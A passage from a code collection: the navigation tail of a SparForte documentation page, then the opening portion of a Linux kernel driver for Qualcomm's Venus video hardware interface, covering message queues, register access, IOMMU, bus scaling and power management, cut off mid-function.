<p class="rmt"><a class="rightmenutext" href="pkg_chains.html">&nbsp;chains</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_cmdline.html">&nbsp;command_line</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_db.html">&nbsp;db/ postgresql</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_dbm.html">&nbsp;dbm</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_dirops.html">&nbsp;directory_operations</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_doubly.html">&nbsp;<b>doubly_linked...</b></a></p> <p class="rmt"><a class="rightmenutext" href="pkg_dht.html">&nbsp;dynamic_hash_...</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_enums.html">&nbsp;enums</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_exceptions.html">&nbsp;exceptions</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_files.html">&nbsp;files</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_gnat_cgi.html">&nbsp;gnat.cgi</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_gnat_crc32.html">&nbsp;gnat.crc32</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_hash_io.html">&nbsp;hash_io</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_hmaps.html">&nbsp;hashed_maps</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_l10n.html">&nbsp;l10n</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_lock_files.html">&nbsp;lock_files</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_logs.html">&nbsp;logs</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_memcache.html">&nbsp;memcache</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_memcache_highread.html">&nbsp;memcache.highread</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_mysql.html">&nbsp;mysql</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_mysqlm.html">&nbsp;mysqlm</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_numerics.html">&nbsp;numerics</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_os.html">&nbsp;os</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_pen.html">&nbsp;pen</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_pengl.html">&nbsp;pen (OpenGL)</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_records.html">&nbsp;records</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_sound.html">&nbsp;sound</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_sinfo.html">&nbsp;source_info</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_stats.html">&nbsp;stats</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_strings.html">&nbsp;strings</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_system.html">&nbsp;System</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_teams.html">&nbsp;teams</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_templates.html">&nbsp;templates</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_text_io.html">&nbsp;text_io</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_units.html">&nbsp;units</a></p> <p class="rmt"><a class="rightmenutext" href="pkg_vectors.html">&nbsp;vectors</a></p> </td> </tr> <tr> <td bgcolor="#d3c7f8" align="left" valign="middle"><a href="#top"><img src="art/up_arrow.png" border="0" width="24" height="27" alt="[Back to Top]"><span>&nbsp;Back To Top</span></a></td> <td bgcolor="#d3c7f8" align="center" valign="middle"><img src="art/forte_small.png" width="26" height="32" border="0" alt="[Small Forte Symbol]"></td> </tr> </table> </body> </html>
kburtch/SparForte
doc/pkg_doubly.html
HTML
gpl-2.0
71,711
/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and * only version 2 as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * */ #include <linux/slab.h> #include <linux/workqueue.h> #include <linux/interrupt.h> #include <linux/io.h> #include <linux/delay.h> #include <linux/of.h> #include <linux/iommu.h> #include <mach/iommu.h> #include <mach/iommu_domains.h> #include <mach/ocmem.h> #include <mach/scm.h> #include <mach/subsystem_restart.h> #include <mach/msm_smem.h> #include <asm/memory.h> #include <linux/iopoll.h> #include "hfi_packetization.h" #include "venus_hfi.h" #include "vidc_hfi_io.h" #include "msm_vidc_debug.h" #include <linux/iopoll.h> #define FIRMWARE_SIZE 0X00A00000 #define REG_ADDR_OFFSET_BITMASK 0x000FFFFF /*Workaround for simulator */ #define HFI_SIM_FW_BIAS 0x0 #define SHARED_QSIZE 0x1000000 static struct hal_device_data hal_ctxt; static const u32 venus_qdss_entries[][2] = { {0xFC307000, 0x1000}, {0xFC322000, 0x1000}, {0xFC319000, 0x1000}, {0xFC31A000, 0x1000}, {0xFC31B000, 0x1000}, {0xFC321000, 0x1000}, {0xFA180000, 0x1000}, {0xFA181000, 0x1000}, }; #define TZBSP_MEM_PROTECT_VIDEO_VAR 0x8 struct tzbsp_memprot { u32 cp_start; u32 cp_size; u32 cp_nonpixel_start; u32 cp_nonpixel_size; }; struct tzbsp_resp { int ret; }; #define TZBSP_VIDEO_SET_STATE 0xa /* Poll interval in uS */ #define POLL_INTERVAL_US 50 enum tzbsp_video_state { TZBSP_VIDEO_STATE_SUSPEND = 0, TZBSP_VIDEO_STATE_RESUME }; struct tzbsp_video_set_state_req { u32 state; /*shoud be tzbsp_video_state enum value*/ u32 spare; /*reserved for future, should be zero*/ }; static inline int venus_hfi_clk_gating_off(struct venus_hfi_device *device); static int venus_hfi_power_enable(void *dev); static int venus_hfi_power_enable(void *dev); static void venus_hfi_dump_packet(u8 *packet) { u32 c = 0, packet_size = *(u32 *)packet; const int row_size = 32; /* row must contain enough for 0xdeadbaad * 8 to be converted into * "de ad ba ab " * 8 + '\0' */ char row[3 * row_size]; for (c = 0; c * row_size < packet_size; ++c) { int bytes_to_read = ((c + 1) * row_size > packet_size) ? packet_size % row_size : row_size; hex_dump_to_buffer(packet + c * row_size, bytes_to_read, row_size, 4, row, sizeof(row), false); dprintk(VIDC_PKT, "%s\n", row); } } static void venus_hfi_sim_modify_cmd_packet(u8 *packet) { struct hfi_cmd_sys_session_init_packet *sys_init; struct hal_session *sess; u8 i; if (!packet) { dprintk(VIDC_ERR, "Invalid Param"); return; } sys_init = (struct hfi_cmd_sys_session_init_packet *)packet; sess = (struct hal_session *) sys_init->session_id; switch (sys_init->packet_type) { case HFI_CMD_SESSION_EMPTY_BUFFER: if (sess->is_decoder) { struct hfi_cmd_session_empty_buffer_compressed_packet *pkt = (struct hfi_cmd_session_empty_buffer_compressed_packet *) packet; pkt->packet_buffer -= HFI_SIM_FW_BIAS; } else { struct hfi_cmd_session_empty_buffer_uncompressed_plane0_packet *pkt = (struct hfi_cmd_session_empty_buffer_uncompressed_plane0_packet *) packet; pkt->packet_buffer -= HFI_SIM_FW_BIAS; } break; case HFI_CMD_SESSION_FILL_BUFFER: { struct hfi_cmd_session_fill_buffer_packet *pkt = (struct hfi_cmd_session_fill_buffer_packet *)packet; pkt->packet_buffer -= HFI_SIM_FW_BIAS; break; } case HFI_CMD_SESSION_SET_BUFFERS: { struct hfi_cmd_session_set_buffers_packet *pkt = (struct hfi_cmd_session_set_buffers_packet *)packet; if ((pkt->buffer_type == HFI_BUFFER_OUTPUT) || (pkt->buffer_type == HFI_BUFFER_OUTPUT2)) { struct hfi_buffer_info *buff; buff = (struct hfi_buffer_info *) pkt->rg_buffer_info; buff->buffer_addr -= HFI_SIM_FW_BIAS; buff->extra_data_addr -= HFI_SIM_FW_BIAS; } else { for (i = 0; i < pkt->num_buffers; i++) pkt->rg_buffer_info[i] -= HFI_SIM_FW_BIAS; } break; } case HFI_CMD_SESSION_RELEASE_BUFFERS: { struct hfi_cmd_session_release_buffer_packet *pkt = (struct hfi_cmd_session_release_buffer_packet *)packet; if ((pkt->buffer_type == HFI_BUFFER_OUTPUT) || (pkt->buffer_type == HFI_BUFFER_OUTPUT2)) { struct hfi_buffer_info *buff; buff = (struct hfi_buffer_info *) pkt->rg_buffer_info; buff->buffer_addr -= HFI_SIM_FW_BIAS; buff->extra_data_addr -= HFI_SIM_FW_BIAS; } else { for (i = 0; i < pkt->num_buffers; i++) pkt->rg_buffer_info[i] -= HFI_SIM_FW_BIAS; } break; } case HFI_CMD_SESSION_PARSE_SEQUENCE_HEADER: { struct hfi_cmd_session_parse_sequence_header_packet *pkt = (struct hfi_cmd_session_parse_sequence_header_packet *) packet; pkt->packet_buffer -= HFI_SIM_FW_BIAS; break; } case HFI_CMD_SESSION_GET_SEQUENCE_HEADER: { struct hfi_cmd_session_get_sequence_header_packet *pkt = (struct hfi_cmd_session_get_sequence_header_packet *) packet; pkt->packet_buffer -= HFI_SIM_FW_BIAS; break; } default: break; } } static int venus_hfi_write_queue(void *info, u8 *packet, u32 *rx_req_is_set) { struct hfi_queue_header *queue; u32 packet_size_in_words, new_write_idx; struct vidc_iface_q_info *qinfo; u32 empty_space, read_idx; u32 *write_ptr; if (!info || !packet || !rx_req_is_set) { dprintk(VIDC_ERR, "Invalid Params"); return -EINVAL; } qinfo = (struct vidc_iface_q_info *) info; if (!qinfo || !qinfo->q_array.align_virtual_addr) { dprintk(VIDC_WARN, "Queues have already been freed\n"); return -EINVAL; } queue = (struct hfi_queue_header *) qinfo->q_hdr; if (!queue) { dprintk(VIDC_ERR, "queue not present"); return -ENOENT; } venus_hfi_sim_modify_cmd_packet(packet); if (msm_vidc_debug & VIDC_PKT) { dprintk(VIDC_PKT, "%s: %p\n", __func__, qinfo); venus_hfi_dump_packet(packet); } packet_size_in_words = (*(u32 *)packet) >> 2; dprintk(VIDC_DBG, "Packet_size in words: %d", packet_size_in_words); if (packet_size_in_words == 0) { dprintk(VIDC_ERR, "Zero packet size"); return -ENODATA; } read_idx = queue->qhdr_read_idx; empty_space = (queue->qhdr_write_idx >= read_idx) ? (queue->qhdr_q_size - (queue->qhdr_write_idx - read_idx)) : (read_idx - queue->qhdr_write_idx); dprintk(VIDC_DBG, "Empty_space: %d", empty_space); if (empty_space <= packet_size_in_words) { queue->qhdr_tx_req = 1; dprintk(VIDC_ERR, "Insufficient size (%d) to write (%d)", empty_space, packet_size_in_words); return -ENOTEMPTY; } queue->qhdr_tx_req = 0; new_write_idx = (queue->qhdr_write_idx + packet_size_in_words); write_ptr = (u32 *)((qinfo->q_array.align_virtual_addr) + (queue->qhdr_write_idx << 2)); dprintk(VIDC_DBG, "Write Ptr: %d", (u32) write_ptr); if (new_write_idx < queue->qhdr_q_size) { memcpy(write_ptr, packet, packet_size_in_words << 2); } else { new_write_idx -= queue->qhdr_q_size; memcpy(write_ptr, packet, (packet_size_in_words - new_write_idx) << 2); memcpy((void *)qinfo->q_array.align_virtual_addr, packet + ((packet_size_in_words - new_write_idx) << 2), new_write_idx << 2); } /* Memory barrier to make sure packet is written before updating the * write index */ mb(); queue->qhdr_write_idx = new_write_idx; *rx_req_is_set = (1 == queue->qhdr_rx_req) ? 1 : 0; /*Memory barrier to make sure write index is updated before an * interupt is raised on venus.*/ mb(); dprintk(VIDC_DBG, "Out : "); return 0; } static void venus_hfi_hal_sim_modify_msg_packet(u8 *packet) { struct hfi_msg_sys_session_init_done_packet *sys_idle; struct hal_session *sess; if (!packet) { dprintk(VIDC_ERR, "Invalid Param: "); return; } sys_idle = (struct hfi_msg_sys_session_init_done_packet *)packet; sess = (struct hal_session *) sys_idle->session_id; switch (sys_idle->packet_type) { case HFI_MSG_SESSION_FILL_BUFFER_DONE: if (sess->is_decoder) { struct hfi_msg_session_fbd_uncompressed_plane0_packet *pkt_uc = (struct hfi_msg_session_fbd_uncompressed_plane0_packet *) packet; pkt_uc->packet_buffer += HFI_SIM_FW_BIAS; } else { struct hfi_msg_session_fill_buffer_done_compressed_packet *pkt = (struct hfi_msg_session_fill_buffer_done_compressed_packet *) packet; pkt->packet_buffer += HFI_SIM_FW_BIAS; } break; case HFI_MSG_SESSION_EMPTY_BUFFER_DONE: { struct hfi_msg_session_empty_buffer_done_packet *pkt = (struct hfi_msg_session_empty_buffer_done_packet *)packet; pkt->packet_buffer += HFI_SIM_FW_BIAS; break; } case HFI_MSG_SESSION_GET_SEQUENCE_HEADER_DONE: { struct hfi_msg_session_get_sequence_header_done_packet *pkt = (struct hfi_msg_session_get_sequence_header_done_packet *) packet; pkt->sequence_header += HFI_SIM_FW_BIAS; break; } default: break; } } static int venus_hfi_read_queue(void *info, u8 *packet, u32 *pb_tx_req_is_set) { struct hfi_queue_header *queue; u32 packet_size_in_words, new_read_idx; u32 *read_ptr; struct vidc_iface_q_info *qinfo; int rc = 0; if (!info || !packet || !pb_tx_req_is_set) { dprintk(VIDC_ERR, "Invalid Params"); return -EINVAL; } qinfo = (struct vidc_iface_q_info *) info; if (!qinfo || !qinfo->q_array.align_virtual_addr) { dprintk(VIDC_WARN, "Queues have already been freed\n"); return -EINVAL; } /*Memory barrier to make sure data is valid before *reading it*/ mb(); queue = (struct hfi_queue_header *) qinfo->q_hdr; if (!queue) { dprintk(VIDC_ERR, "Queue memory is not allocated\n"); return -ENOMEM; } if (queue->qhdr_read_idx == queue->qhdr_write_idx) { queue->qhdr_rx_req = 1; *pb_tx_req_is_set = 0; return -EPERM; } read_ptr = (u32 *)((qinfo->q_array.align_virtual_addr) + (queue->qhdr_read_idx << 2)); packet_size_in_words = (*read_ptr) >> 2; dprintk(VIDC_DBG, "packet_size_in_words: %d", packet_size_in_words); if (packet_size_in_words == 0) { dprintk(VIDC_ERR, "Zero packet size"); return -ENODATA; } new_read_idx = queue->qhdr_read_idx + packet_size_in_words; dprintk(VIDC_DBG, "Read Ptr: %d", (u32) new_read_idx); if (((packet_size_in_words << 2) <= VIDC_IFACEQ_MED_PKT_SIZE) && queue->qhdr_read_idx <= queue->qhdr_q_size) { if (new_read_idx < queue->qhdr_q_size) { memcpy(packet, read_ptr, packet_size_in_words << 2); } else { new_read_idx -= queue->qhdr_q_size; memcpy(packet, read_ptr, (packet_size_in_words - new_read_idx) << 2); memcpy(packet + ((packet_size_in_words - new_read_idx) << 2), (u8 *)qinfo->q_array.align_virtual_addr, new_read_idx << 2); } } else { dprintk(VIDC_WARN, "BAD packet received, read_idx: 0x%x, pkt_size: %d\n", queue->qhdr_read_idx, packet_size_in_words << 2); dprintk(VIDC_WARN, "Dropping this packet\n"); new_read_idx = queue->qhdr_write_idx; rc = -ENODATA; } queue->qhdr_read_idx = new_read_idx; if (queue->qhdr_read_idx != queue->qhdr_write_idx) queue->qhdr_rx_req = 0; else queue->qhdr_rx_req = 1; *pb_tx_req_is_set = (1 == queue->qhdr_tx_req) ? 1 : 0; venus_hfi_hal_sim_modify_msg_packet(packet); if (msm_vidc_debug & VIDC_PKT) { dprintk(VIDC_PKT, "%s: %p\n", __func__, qinfo); venus_hfi_dump_packet(packet); } dprintk(VIDC_DBG, "Out : "); return rc; } static int venus_hfi_alloc(struct venus_hfi_device *dev, void *mem, u32 size, u32 align, u32 flags, u32 usage) { struct vidc_mem_addr *vmem = NULL; struct msm_smem *alloc = NULL; int rc = 0; if (!dev || !dev->hal_client || !mem || !size) { dprintk(VIDC_ERR, "Invalid Params"); return -EINVAL; } vmem = (struct vidc_mem_addr *)mem; dprintk(VIDC_INFO, "start to alloc: size:%d, Flags: %d", size, flags); venus_hfi_power_enable(dev); alloc = msm_smem_alloc(dev->hal_client, size, align, flags, usage, 1); dprintk(VIDC_DBG, "Alloc done"); if (!alloc) { dprintk(VIDC_ERR, "Alloc failed\n"); rc = -ENOMEM; goto fail_smem_alloc; } dprintk(VIDC_DBG, "venus_hfi_alloc:ptr=%p,size=%d", alloc->kvaddr, size); rc = msm_smem_cache_operations(dev->hal_client, alloc, SMEM_CACHE_CLEAN); if (rc) { dprintk(VIDC_WARN, "Failed to clean cache\n"); dprintk(VIDC_WARN, "This may result in undefined behavior\n"); } vmem->mem_size = alloc->size; vmem->mem_data = alloc; vmem->align_virtual_addr = (u8 *) alloc->kvaddr; vmem->align_device_addr = (u8 *)alloc->device_addr; return rc; fail_smem_alloc: return rc; } static void venus_hfi_free(struct venus_hfi_device *dev, struct msm_smem *mem) { if (!dev || !mem) { dprintk(VIDC_ERR, "invalid param %p %p\n", dev, mem); return; } venus_hfi_power_enable(dev); msm_smem_free(dev->hal_client, mem); } static void venus_hfi_write_register(struct venus_hfi_device *device, u32 reg, u32 value, u8 *vaddr) { u32 hwiosymaddr = reg; u8 *base_addr; if (!device) { dprintk(VIDC_ERR, "Invalid params: %p\n", device); return; } base_addr = device->hal_data->register_base_addr; if (!device->clocks_enabled) { dprintk(VIDC_WARN, "HFI Write register failed : Clocks are OFF\n"); return; } reg &= REG_ADDR_OFFSET_BITMASK; if (reg == (u32)VIDC_CPU_CS_SCIACMDARG2) { /* workaround to offset of FW bias */ struct hfi_queue_header *qhdr; struct hfi_queue_table_header *qtbl_hdr = (struct hfi_queue_table_header *)vaddr; qhdr = VIDC_IFACEQ_GET_QHDR_START_ADDR(qtbl_hdr, 0); qhdr->qhdr_start_addr -= HFI_SIM_FW_BIAS; qhdr = VIDC_IFACEQ_GET_QHDR_START_ADDR(qtbl_hdr, 1); qhdr->qhdr_start_addr -= HFI_SIM_FW_BIAS; qhdr = VIDC_IFACEQ_GET_QHDR_START_ADDR(qtbl_hdr, 2); qhdr->qhdr_start_addr -= HFI_SIM_FW_BIAS; value -= HFI_SIM_FW_BIAS; } hwiosymaddr = ((u32)base_addr + (hwiosymaddr)); dprintk(VIDC_DBG, "Base addr: 0x%x, written to: 0x%x, Value: 0x%x...", (u32)base_addr, hwiosymaddr, value); writel_relaxed(value, hwiosymaddr); wmb(); } static int venus_hfi_read_register(struct venus_hfi_device *device, u32 reg) { int rc ; u8 *base_addr; if (!device) { dprintk(VIDC_ERR, "Invalid params: %p\n", device); return -EINVAL; } base_addr = device->hal_data->register_base_addr; if (!device->clocks_enabled) { dprintk(VIDC_WARN, "HFI Read register failed : Clocks are OFF\n"); return -EINVAL; } rc = readl_relaxed((u32)base_addr + reg); rmb(); return rc; } static int venus_hfi_core_start_cpu(struct venus_hfi_device *device) { u32 ctrl_status = 0, count = 0, rc = 0; int max_tries = 100; venus_hfi_write_register(device, VIDC_WRAPPER_INTR_MASK, VIDC_WRAPPER_INTR_MASK_A2HVCODEC_BMSK, 0); venus_hfi_write_register(device, VIDC_CPU_CS_SCIACMDARG3, 1, 0); while (!ctrl_status && count < max_tries) { ctrl_status = venus_hfi_read_register( device, VIDC_CPU_CS_SCIACMDARG0); if ((ctrl_status & 0xFE) == 0x4) { dprintk(VIDC_ERR, "invalid setting for UC_REGION\n"); break; } usleep_range(500, 1000); count++; } if (count >= max_tries) rc = -ETIME; return rc; } static int venus_hfi_iommu_attach(struct venus_hfi_device *device) { int rc = 0; struct iommu_domain *domain; int i; struct iommu_set *iommu_group_set; struct iommu_group *group; struct iommu_info *iommu_map; if (!device || !device->res) return -EINVAL; iommu_group_set = &device->res->iommu_group_set; for (i = 0; i < iommu_group_set->count; i++) { iommu_map = &iommu_group_set->iommu_maps[i]; group = iommu_map->group; domain = msm_get_iommu_domain(iommu_map->domain); if (IS_ERR_OR_NULL(domain)) { dprintk(VIDC_ERR, "Failed to get domain: %s\n", iommu_map->name); rc = PTR_ERR(domain); break; } rc = iommu_attach_group(domain, group); if (rc) { dprintk(VIDC_ERR, "IOMMU attach failed: %s\n", iommu_map->name); break; } } if (i < iommu_group_set->count) { i--; for (; i >= 0; i--) { iommu_map = &iommu_group_set->iommu_maps[i]; group = iommu_map->group; domain = msm_get_iommu_domain(iommu_map->domain); if (group && domain) iommu_detach_group(domain, group); } } return rc; } static void venus_hfi_iommu_detach(struct venus_hfi_device *device) { struct iommu_group *group; struct iommu_domain *domain; struct iommu_set *iommu_group_set; struct iommu_info *iommu_map; int i; if (!device || !device->res) { dprintk(VIDC_ERR, "Invalid paramter: %p\n", device); return; } iommu_group_set = &device->res->iommu_group_set; for (i = 0; i < iommu_group_set->count; i++) { iommu_map = &iommu_group_set->iommu_maps[i]; group = iommu_map->group; domain = msm_get_iommu_domain(iommu_map->domain); if (group && domain) iommu_detach_group(domain, group); } } static int venus_hfi_unvote_bus(void *dev, enum session_type type, enum mem_type mtype) { int rc = 0; u32 handle = 0; struct venus_hfi_device *device = dev; if (!device) { dprintk(VIDC_ERR, "%s invalid device handle %p", __func__, device); return -EINVAL; } if (mtype & DDR_MEM) handle = device->resources.bus_info.ddr_handle[type]; if (mtype & OCMEM_MEM) handle = device->resources.bus_info.ocmem_handle[type]; if (handle) { rc = msm_bus_scale_client_update_request( handle, 0); if (rc) dprintk(VIDC_ERR, "Failed to unvote bus: %d\n", rc); } else { dprintk(VIDC_ERR, "Failed to unvote bus, mtype: %d\n", mtype); rc = -EINVAL; } return rc; } static void venus_hfi_unvote_buses(void *dev, enum mem_type mtype) { int i; struct venus_hfi_device *device = dev; if (!device) { dprintk(VIDC_ERR, "%s invalid parameters", __func__); return; } for (i = 0; i < MSM_VIDC_MAX_DEVICES; i++) { if ((mtype & DDR_MEM) && venus_hfi_unvote_bus(device, i, DDR_MEM)) dprintk(VIDC_WARN, "Failed to unvote for DDR accesses\n"); if ((mtype & OCMEM_MEM) && venus_hfi_unvote_bus(device, i, OCMEM_MEM)) dprintk(VIDC_WARN, "Failed to unvote for OCMEM accesses\n"); } } static const u32 venus_hfi_bus_table[] = { 36000, 110400, 244800, 489000, 783360, 979200, }; static int venus_hfi_get_bus_vector(struct venus_hfi_device *device, int load, enum session_type type, enum mem_type mtype) { int num_rows = sizeof(venus_hfi_bus_table)/(sizeof(u32)); int i, j; int idx = 0; if (!device || (mtype != DDR_MEM && mtype != OCMEM_MEM) || (type != MSM_VIDC_ENCODER && type != MSM_VIDC_DECODER)) { dprintk(VIDC_ERR, "%s invalid params", __func__); return -EINVAL; } for (i = 0; i < num_rows; i++) { if (load <= venus_hfi_bus_table[i]) break; } if (type == MSM_VIDC_ENCODER) idx = (mtype == DDR_MEM) ? BUS_IDX_ENC_DDR : BUS_IDX_ENC_OCMEM; else idx = (mtype == DDR_MEM) ? BUS_IDX_DEC_DDR : BUS_IDX_DEC_OCMEM; j = clamp(i, 0, num_rows-1) + 1; /* Ensure bus index remains within the supported range, * as specified in the device dtsi file */ j = clamp(j, 0, device->res->bus_pdata[idx].num_usecases - 1); dprintk(VIDC_DBG, "Required bus = %d\n", j); return j; } static int venus_hfi_scale_bus(void *dev, int load, enum session_type type, enum mem_type mtype) { int rc = 0; u32 handle = 0; struct venus_hfi_device *device = dev; int bus_vector = 0; if (!device) { dprintk(VIDC_ERR, "%s invalid device handle %p", __func__, device); return -EINVAL; } if (mtype & DDR_MEM) handle = device->resources.bus_info.ddr_handle[type]; if (mtype & OCMEM_MEM) handle = device->resources.bus_info.ocmem_handle[type]; if (handle) { bus_vector = venus_hfi_get_bus_vector(device, load, type, mtype); if (bus_vector < 0) { dprintk(VIDC_ERR, "Failed to get bus vector\n"); return -EINVAL; } device->bus_load[type] = load; rc = msm_bus_scale_client_update_request(handle, bus_vector); if (rc) dprintk(VIDC_ERR, "Failed to scale bus: %d\n", rc); } else { dprintk(VIDC_ERR, "Failed to scale bus, mtype: %d\n", mtype); rc = -EINVAL; } return rc; } static int venus_hfi_scale_buses(void *dev, enum mem_type mtype) { int i, rc = 0; struct venus_hfi_device *device = dev; if (!device) { dprintk(VIDC_ERR, "%s invalid parameters", __func__); return -EINVAL; } for (i = 0; i < MSM_VIDC_MAX_DEVICES; i++) { if (mtype & DDR_MEM) { rc = venus_hfi_scale_bus(device, device->bus_load[i], i, DDR_MEM); if (rc) { dprintk(VIDC_ERR, "Failed to scale bus for DDR accesses, session type %d, load %u\n", i, device->bus_load[i]); goto err_scale_bus; } } if (mtype & OCMEM_MEM) { rc = venus_hfi_scale_bus(device, device->bus_load[i], i, OCMEM_MEM); if (rc) { dprintk(VIDC_ERR, "Failed to scale bus for OCMEM accesses, session type %d, load %u\n", i, device->bus_load[i]); goto err_scale_bus; } } } err_scale_bus: return rc; } static inline int venus_hfi_tzbsp_set_video_state(enum tzbsp_video_state state) { struct tzbsp_video_set_state_req cmd = {0}; int tzbsp_rsp = 0; int rc = 0; cmd.state = state; cmd.spare = 0; rc = scm_call(SCM_SVC_BOOT, TZBSP_VIDEO_SET_STATE, &cmd, sizeof(cmd), &tzbsp_rsp, sizeof(tzbsp_rsp)); if (rc) { dprintk(VIDC_ERR, "Failed scm_call %d\n", rc); return rc; } dprintk(VIDC_DBG, "Set state %d, resp %d\n", state, tzbsp_rsp); if (tzbsp_rsp) { dprintk(VIDC_ERR, "Failed to set video core state to suspend: %d\n", tzbsp_rsp); return -EINVAL; } return 0; } static inline int venus_hfi_reset_core(struct venus_hfi_device *device) { int rc = 0; venus_hfi_write_register(device, VIDC_CTRL_INIT, 0x1, 0); rc = venus_hfi_core_start_cpu(device); if (rc) dprintk(VIDC_ERR, "Failed to start core"); return rc; } /*Calling function is responsible to acquire device->clk_pwr_lock*/ static inline int venus_hfi_clk_enable(struct venus_hfi_device *device) { int rc = 0; int i; struct venus_core_clock *cl; if (!device) { dprintk(VIDC_ERR, "Invalid params: %p\n", device); return -EINVAL; } if (device->clocks_enabled) { dprintk(VIDC_DBG, "Clocks already enabled"); return 0; } for (i = 0; i <= device->clk_gating_level; i++) { cl = &device->resources.clock[i]; rc = clk_enable(cl->clk); if (rc) { dprintk(VIDC_ERR, "Failed to enable clocks\n"); goto fail_clk_enable; } else { dprintk(VIDC_DBG, "Clock: %s enabled\n", cl->name); } } device->clocks_enabled = 1; ++device->clk_cnt; return 0; fail_clk_enable: for (i--; i >= 0; i--) { cl = &device->resources.clock[i]; usleep(100); clk_disable(cl->clk); } return rc; } /*Calling function is responsible to acquire device->clk_pwr_lock*/ static inline void venus_hfi_clk_disable(struct venus_hfi_device *device) { int i; struct venus_core_clock *cl; if (!device) { dprintk(VIDC_ERR, "Invalid params: %p\n", device); return; } if (!device->clocks_enabled) { dprintk(VIDC_DBG, "Clocks already disabled"); return; } for (i = 0; i <= device->clk_gating_level; i++) { cl = &device->resources.clock[i]; usleep(100); clk_disable(cl->clk); } device->clocks_enabled = 0; --device->clk_cnt; } static DECLARE_COMPLETION(pc_prep_done); static int venus_hfi_halt_axi(struct venus_hfi_device *device) { u32 reg; int rc = 0; if (!device) { dprintk(VIDC_ERR, "Invalid input: %p\n", device); return -EINVAL; } if (venus_hfi_clk_gating_off(device)) { dprintk(VIDC_ERR, "Failed to turn off clk gating\n"); return -EIO; } /* Halt AXI and AXI OCMEM VBIF Access */ reg = venus_hfi_read_register(device, VENUS_VBIF_AXI_HALT_CTRL0); reg |= VENUS_VBIF_AXI_HALT_CTRL0_HALT_REQ; venus_hfi_write_register(device, VENUS_VBIF_AXI_HALT_CTRL0, reg, 0); /* Request for AXI bus port halt */ rc = readl_poll_timeout((u32)device->hal_data->register_base_addr + VENUS_VBIF_AXI_HALT_CTRL1, reg, reg & VENUS_VBIF_AXI_HALT_CTRL1_HALT_ACK, POLL_INTERVAL_US, VENUS_VBIF_AXI_HALT_ACK_TIMEOUT_US); if (rc) dprintk(VIDC_WARN, "AXI bus port halt timeout\n"); return rc; } static inline int venus_hfi_power_off(struct venus_hfi_device *device) { int rc = 0; if (!device) { dprintk(VIDC_ERR, "Invalid params: %p\n", device); return -EINVAL; } if (!device->power_enabled) { dprintk(VIDC_DBG, "Power already disabled"); goto already_disabled; } /*Temporarily enable clocks to make TZ call.*/ rc = venus_hfi_clk_enable(device); if (rc) { dprintk(VIDC_ERR, "Failed to enable clocks before TZ call"); return rc; } rc = venus_hfi_tzbsp_set_video_state(TZBSP_VIDEO_STATE_SUSPEND); if (rc) { dprintk(VIDC_ERR, "Failed to suspend video core %d\n", rc); venus_hfi_clk_disable(device); return rc; } venus_hfi_clk_disable(device); venus_hfi_iommu_detach(device); rc = regulator_disable(device->gdsc); if (rc) { dprintk(VIDC_ERR, "Failed to disable GDSC, %d", rc); return rc; } if (device->res->has_ocmem) venus_hfi_unvote_buses(device, DDR_MEM|OCMEM_MEM); else venus_hfi_unvote_buses(device, DDR_MEM); device->power_enabled = 0; --device->pwr_cnt; already_disabled: return rc; } static inline int venus_hfi_power_on(struct venus_hfi_device *device) { int rc = 0; if (!device) { dprintk(VIDC_ERR, "Invalid params: %p\n", device); return -EINVAL; } if (device->res->has_ocmem) rc = venus_hfi_scale_buses(device, DDR_MEM|OCMEM_MEM); else rc = venus_hfi_scale_buses(device, DDR_MEM); if (rc) { dprintk(VIDC_ERR, "Failed to scale buses"); goto err_scale_buses; } rc = regulator_enable(device->gdsc); if (rc) { dprintk(VIDC_ERR, "Failed to enable GDSC %d", rc); goto err_enable_gdsc; } rc = venus_hfi_iommu_attach(device); if (rc) { dprintk(VIDC_ERR, "Failed to attach iommu after power on"); goto err_iommu_attach; } rc = venus_hfi_clk_enable(device); if (rc) { dprintk(VIDC_ERR, "Failed to enable clocks"); goto err_enable_clk; } rc = venus_hfi_tzbsp_set_video_state(TZBSP_VIDEO_STATE_RESUME); if (rc) { dprintk(VIDC_ERR, "Failed to resume video core %d\n", rc); goto err_set_video_state; } rc = venus_hfi_reset_core(device); if (rc) { dprintk(VIDC_ERR, "Failed to reset venus core"); goto err_reset_core; } device->power_enabled = 1; ++device->pwr_cnt; return rc; err_reset_core: venus_hfi_tzbsp_set_video_state(TZBSP_VIDEO_STATE_SUSPEND); err_set_video_state: venus_hfi_clk_disable(device); err_enable_clk: venus_hfi_iommu_detach(device); err_iommu_attach: 